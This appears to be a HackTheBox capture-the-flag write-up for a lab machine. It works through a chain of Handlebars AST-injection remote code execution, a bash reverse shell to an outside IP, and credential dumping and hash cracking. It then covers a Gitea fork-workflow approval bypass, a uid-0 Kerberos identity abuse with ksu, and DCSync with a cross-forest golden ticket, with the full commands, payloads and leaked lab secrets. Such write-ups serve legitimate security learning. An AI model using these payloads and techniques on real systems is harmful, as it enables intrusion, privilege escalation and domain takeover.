rodrigo
HackTheBoxHard2026-07-29

darkzeroreturns

handlebars ast injection, a gitea workflow bypass, kerberos identity abuse, and a forest trust lead to the final flag.

tl;dr

the public host only exposes ssh and an nginx site for dzcampaigns.htb. after registering a normal account, the character editor accepts campaign_message as json, not only form text, and that value is fed to handlebars. normal prototype chain payloads are blocked, but a supplied handlebars ast still gets compiled, and a poisoned NumberLiteral.value is emitted into the generated javascript. that gives command exec as the darkzero service user. the node process leaks mysql creds in its environment, the app database holds bcrypt hashes, and josh's hash cracks to Rangers1. josh is a domain user in RepoAudit, so ssh plus kerberos gets me into the private gitea repo.

from there, a fork pr cannot run the normal workflow because fork workflows need approval, but a workflow added in the fork that triggers on pull_request_review_comment runs when josh submits a comment review. that job lands on the domain runner as svc-runner, where the user flag lives. the runner has kerberos creds and rights to create users in a migration ou, so i create a domain user literally named root with uid 0, authenticate it, and ksu becomes local root on SRV01. root can read an old sql backup, which leaks a deleted celia app account whose bcrypt cracks to babygurl13; celia is a domain admin in DARKZERO.EXT. dcsync gives the source krbtgt key, the forest trust to DARKZERO.HTB allows an extra sid ticket for the target InfrastructureAdministrators group, and that group is in Backup Operators. with backup intent over smb, i read Administrator's desktop flag from C$. that's root.

recon

nmap

full port scan first:

nmap -Pn -p- --min-rate 5000 10.129.44.218
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

version/script pass:

nmap -Pn -sT -p22,80 -sC -sV 10.129.44.218
22/tcp open  ssh   OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http  nginx 1.24.0 (Ubuntu)

port 80 redirects to the real vhost:

curl -i -L http://10.129.44.218/
HTTP/1.1 302 Moved Temporarily
Location: http://dzcampaigns.htb/

so add it locally, or just use curl's resolver:

--resolve dzcampaigns.htb:80:10.129.44.218

open ports / services

port service notes
22 ssh openssh 9.6p1 on ubuntu
80 http nginx in front of DarkZero Campaigns

the web app is a node/express style site, mostly obvious from the dz.sid cookie and weak etags. unauthenticated pages expose a campaign route and a login, so i registered a normal account and moved from there.

app enum: account features and handlebars

after registering:

darkzeroreturn@example.htb
darkzero
DarkZeroReturn!2026

the authenticated routes were all around characters:

/dashboard
/character/new
/character
/character/<id>/edit
/character/<id>
/character/<id>/delete
/character/<id>/inventory
/character/<id>/inventory/<item_id>
/character/<id>/inventory/<item_id>/delete

the interesting field is campaign_message. string payloads in that field are compiled as handlebars templates and rendered back into /campaign/1. classic handlebars prototype tricks did not work because prototype methods like split were not resolving. the app did accept json though, and that changed the shape of the bug.

foothold: handlebars ast compilation rce (80)

  • Vuln/vector: campaign_message can be posted as a parsed handlebars ast object over json. handlebars trusts that object and compiles it as if it had produced the ast itself. by replacing a NumberLiteral.value with raw javascript, the value is emitted into the compiled template and executed during render. the app tried to block the older prototype chain payloads, but it still trusted attacker supplied ast nodes.

  • Steps:

first, send a harmless ast and confirm that the server compiles it:

node - <<'JS' | curl -sS --resolve dzcampaigns.htb:80:10.129.44.218 \
  -b /tmp/dzr_cookiejar -c /tmp/dzr_cookiejar \
  -X POST http://dzcampaigns.htb/character/16 \
  -H 'Content-Type: application/json' --data-binary @-
const h = require('/tmp/dzr_hb/node_modules/handlebars');
const ast = h.parse('{{#if 1}}ASTOK{{/if}}');
console.log(JSON.stringify({
  _csrf: '<csrf>',
  name: 'Baseline',
  race: 'Human',
  class: 'Wizard',
  backstory: 'baseline test',
  campaign_message: ast
}));
JS

/campaign/1 renders:

ASTOK

then swap the numeric literal for a command expression:

const h = require('/tmp/dzr_hb/node_modules/handlebars');
const cmd = 'id';
const ast = h.parse('{{#with 1}}{{this}}{{/with}}');
 
ast.body[0].params[0].value =
  `(process.mainModule.require('child_process').execSync(${JSON.stringify(cmd)}).toString())`;
ast.body[0].params[0].original = ast.body[0].params[0].value;

that came back as the app user:

uid=996(darkzero) gid=987(darkzero) groups=987(darkzero)
hostname: SRV01
cwd: /opt/DarkZero_Campaigns

for a shell, the same primitive can call child_process.exec:

(process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.10.15.3/4444 0>&1"'),1)
nc -lvnp 4444
darkzero@srv01:/opt/DarkZero_Campaigns$

darkzero to josh: mysql creds and bcrypt crack

  • Vuln/vector: the node service keeps database credentials in its process environment. the mysql database stores application user bcrypt hashes, and josh's password is weak enough to crack with rockyou. that password is reused for the domain account, which gives ssh and kerberos access to the internal gitea path.

  • Steps:

dump the service environment:

DB_HOST=localhost
DB_NAME=darkzero_campaigns
DB_PASSWORD=C4ntFindMyDMpass!
DB_USER=darkzero
SESSION_SECRET=DarkSession312
PORT=8081
NODE_ENV=production

mysql is only local:

ss -ltnp
127.0.0.1:8081  node app
127.0.0.1:3306  MySQL
0.0.0.0:22      SSH
0.0.0.0:80      nginx

log in and dump the users:

MYSQL_PWD='C4ntFindMyDMpass!' mysql -h localhost -u darkzero darkzero_campaigns
admin@dzcampaigns.htb  admin  $2b$10$HDdWzYvp1IWFD9TB4JsuCerlh.vKchv/LmBruCmKGH19hPP7IXvjm
josh@dzcampaigns.htb   josh   $2b$10$kX7QPjPIQI5hxJWV4a0HpO7UcdstuwLxP51LhHPFP5ceATiOKmVbK

crack the hashes:

john --wordlist=/home/wock/checkpoint/rockyou.txt dzr_hashes.txt
josh:Rangers1

the db password did not work for ssh, but josh's cracked app password did:

ssh josh@10.129.44.218
uid=780601110(josh) gid=780600513(domain users) groups=domain users,repoaudit

kerberos works too:

kinit josh@DARKZERO.EXT

the user flag is not in josh's home. that matters later, because josh is only the repo audit hop.

josh to svc-runner: gitea review workflow bypass

  • Vuln/vector: josh can read the private DarkZero/DarkZero-Campaigns repo and create pull requests, but he cannot push to the upstream repo and normal fork pr workflows require approval. gitea still allowed a workflow introduced in the fork to run on a review comment event. submitting a comment only review as josh fired the fork's pull_request_review_comment workflow on the self hosted domain runner, so the job executed as svc-runner.

  • Steps:

internal dns exposes gitea:

gitea.darkzero.ext -> 172.16.20.2
http://gitea.darkzero.ext:3000/
Gitea version: 1.25.0

local throwaway accounts can sign up, but they cannot reach the runner. josh is the useful account because sssd shows he is in RepoAudit:

josh       groups=domain users, repoaudit
william    groups=domain users, giteaadmins
celia      groups=domain users, domain admins, giteaadmins
svc-runner groups=domain users, servicehandler

through josh, the private repo is visible:

DarkZero/DarkZero-Campaigns
.gitea/workflows/main.yml
runs-on: ubuntu
steps: checkout, setup-node, npm ci, npm test, npm run build

josh's repo permissions are read only:

pull=true
push=false
admin=false

a normal fork pr stayed blocked:

Need approval to run workflows for fork pull request.

so i added a workflow to the fork that triggers on review activity:

on:
  pull_request_review:
    types: [submitted]
  pull_request_review_comment:
    types: [created]

then submitted a comment only review to my own pr:

curl -s -X POST \
  http://gitea.darkzero.ext:3000/api/v1/repos/DarkZero/DarkZero-Campaigns/pulls/3/reviews \
  -H 'Content-Type: application/json' \
  -d '{"event":"COMMENT","body":"validation note"}'

the normal workflow was still blocked, but the review workflow ran:

run #6 -> review.yml, success
event -> pull_request_review_comment
runner -> ubuntu-domain-runner(version:v0.3.0)
identity -> uid=780601113(svc-runner) gid=780600513(domain users) groups=domain users,ServiceHandler
workdir -> /opt/gitea-runner/.cache/act/fb237a5be24f93fe/hostexecutor

the user flag was on the runner account:

cat /home/svc-runner/user.txt
  • user flag: [redacted]

to make the shell stable, i updated the same workflow to append my public key to /home/svc-runner/.ssh/authorized_keys, triggered another review comment, and logged in directly:

ssh -i /home/wock/dzr_svc_key svc-runner@10.129.44.218

svc-runner to local root: kerberos unix identity abuse

  • Vuln/vector: the runner service has a kerberos cache from its keytab and can create users in OU=GiteaMigration. SRV01 uses sssd with short names and has MIT ksu installed suid root. by creating a domain account named root with unix uid 0 and gid 0, then authenticating as that principal, ksu maps the kerberos identity to the local root account and changes uid to 0.

  • Steps:

the runner unit tells the story:

gitea-runner.service
User=darkzero-ext\svc-runner
Environment=KRB5CCNAME=/tmp/krb5cc_gitea
ExecStartPre=/usr/bin/kinit -kt /etc/gitea-runner/svc-runner.keytab svc-runner
ExecStart=/opt/gitea-runner/act_runner daemon --config /opt/gitea-runner/config.yaml

important local details:

/usr/bin/ksu.mit is SUID root
/etc/sssd/sssd.conf: use_fully_qualified_names=False, id_provider=ad
custom OU: OU=GiteaMigration,DC=darkzero,DC=ext

create the domain user:

samba-tool user create root 'R00tPassw0rd!2026' \
  --userou='OU=GiteaMigration' \
  --use-kerberos=required \
  --use-krb5-ccache=/tmp/krb5cc_gitea \
  -H ldap://dc02.darkzero.ext \
  --use-username-as-cn \
  --nis-domain=darkzero \
  --unix-home=/root \
  --uid=root \
  --uid-number=0 \
  --gid-number=0 \
  --login-shell=/bin/bash

then authenticate it and ask ksu to switch:

printf 'R00tPassw0rd!2026\n' | kinit root@DARKZERO.EXT
ksu root -n root@DARKZERO.EXT
Authenticated root@DARKZERO.EXT
Account root: authorization for root@DARKZERO.EXT successful
Changing uid to root (0)
uid=0(root) gid=0(root) groups=0(root)

after adding an ssh key for stable root, restore the runner kerberos cache so the service keeps working:

KRB5CCNAME=/tmp/krb5cc_gitea kinit -kt /etc/gitea-runner/svc-runner.keytab svc-runner
chown svc-runner:'domain users' /tmp/krb5cc_gitea
chmod 600 /tmp/krb5cc_gitea

root to celia: old backup, deleted admin creds

  • Vuln/vector: local root can read an old application database backup under /root. the backup includes deleted or archived app users that were not in the live database. celia's bcrypt hash cracks quickly, and the same password works for her domain account. celia is both a gitea admin and a domain admin.

  • Steps:

the backup:

/root/darkzero_campaigns_backup.sql

deleted users inside it:

celia.p@dzcampaigns.htb / celia
$2b$10$2L.IKTOkBtwtWuKcAF/VJ.kUKiBHLQ8hPeg2KYJJXFOUdga2iLsoC

jerry.ap@dzcampaigns.htb / jerry
$2b$10$otSLTatDHIAAp3H58YYaTOgdhMlpbWBTEq1.MWFq5se6OOG3nV2Wy

top 100k rockyou was enough:

celia:babygurl13

ldap confirms why she matters:

CN=celia,CN=Users,DC=darkzero,DC=ext
memberOf: CN=GiteaAdmins,CN=Users,DC=darkzero,DC=ext
memberOf: CN=Domain Admins,CN=Users,DC=darkzero,DC=ext

celia to final flag: dcsync, forest trust, backup intent

  • Vuln/vector: celia can dcsync DARKZERO.EXT, so i get the source domain krbtgt keys. that domain has a bidirectional forest trust with DARKZERO.HTB. by forging a source domain golden ticket with the target domain's InfrastructureAdministrators sid as an extra sid, kerberos referral across the trust gives access to dc01.darkzero.htb. that group is a member of Backup Operators in the target domain, so it cannot exec through wmi or psexec, but it can read protected files over smb when the file is opened with backup intent.

  • Steps:

dcsync as celia:

secretsdump.py DARKZERO.EXT/celia:'babygurl13'@172.16.20.2 -just-dc-user krbtgt

important values:

DARKZERO.EXT domain SID: S-1-5-21-2850783758-1231244658-2051857529
krbtgt NT: 8beaf5f950fefe79f608390a806d29a7
krbtgt AES256: 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6

the full dump also exposed useful service secrets:

_SC_Gitea -> darkzero-ext\svc-gitea:SMvUAmVFTY7!
darkzero$ NT: 2df6a35394353e904db279359c14080b
darkzero$ AES256: ff0618a2d18360683b197232b262feae9a749325343e9ab68e22f681b4dc83a7

trust info:

trustPartner: darkzero.htb
trustDirection: 3
trustType: 2
trustAttributes: 8
target DC: dc01.darkzero.htb -> 172.16.20.1
target domain SID: S-1-5-21-2899195410-1848524783-1547768515
InfrastructureAdministrators RID: 1603
InfrastructureAdministrators is memberOf target Backup Operators

forge the source domain ticket with the target extra sid:

ticketer.py \
  -aesKey 8daff56ad74584679edcbf648a690e3a6cd1e03b8703fb890c9b603cc3a80fe6 \
  -domain-sid S-1-5-21-2850783758-1231244658-2051857529 \
  -domain DARKZERO.EXT \
  -extra-sid S-1-5-21-2899195410-1848524783-1547768515-1603 \
  Administrator

MIT kerberos followed the referral cleanly where the quick impacket path did not. the krb5 config pinned both realms:

[libdefaults]
 default_realm = DARKZERO.EXT
 dns_lookup_realm = false
 dns_lookup_kdc = false
 rdns = false
 forwardable = true
 udp_preference_limit = 0
 
[realms]
 DARKZERO.EXT = {
  kdc = 172.16.20.2
 }
 DARKZERO.HTB = {
  kdc = 172.16.20.1
 }
 
[domain_realm]
 .darkzero.ext = DARKZERO.EXT
 darkzero.ext = DARKZERO.EXT
 .darkzero.htb = DARKZERO.HTB
 darkzero.htb = DARKZERO.HTB

then request the target cifs service ticket:

KRB5_CONFIG=/tmp/krb5_cross.conf KRB5CCNAME=/tmp/Administrator.ccache \
  kvno cifs/dc01.darkzero.htb@DARKZERO.HTB
krbtgt/DARKZERO.HTB@DARKZERO.EXT acquired from 172.16.20.2
cifs/dc01.darkzero.htb@DARKZERO.HTB acquired from 172.16.20.1

the ticket can list admin shares:

ADMIN$
C$
IPC$
NETLOGON
SYSVOL

but it is not full local admin:

wmiexec -> WBEM_E_ACCESS_DENIED
psexec -> shares not writable

standard impacket smbclient could list C$, but it could not read the protected desktop flag because it does not set backup intent. a small impacket reader that uses SMBConnection.openFile(..., creationOption=FILE_NON_DIRECTORY_FILE|FILE_OPEN_FOR_BACKUP_INTENT) does the right kind of open for Backup Operators.

target path:

C:\Users\Administrator\Desktop\root.txt
  • root flag: [redacted]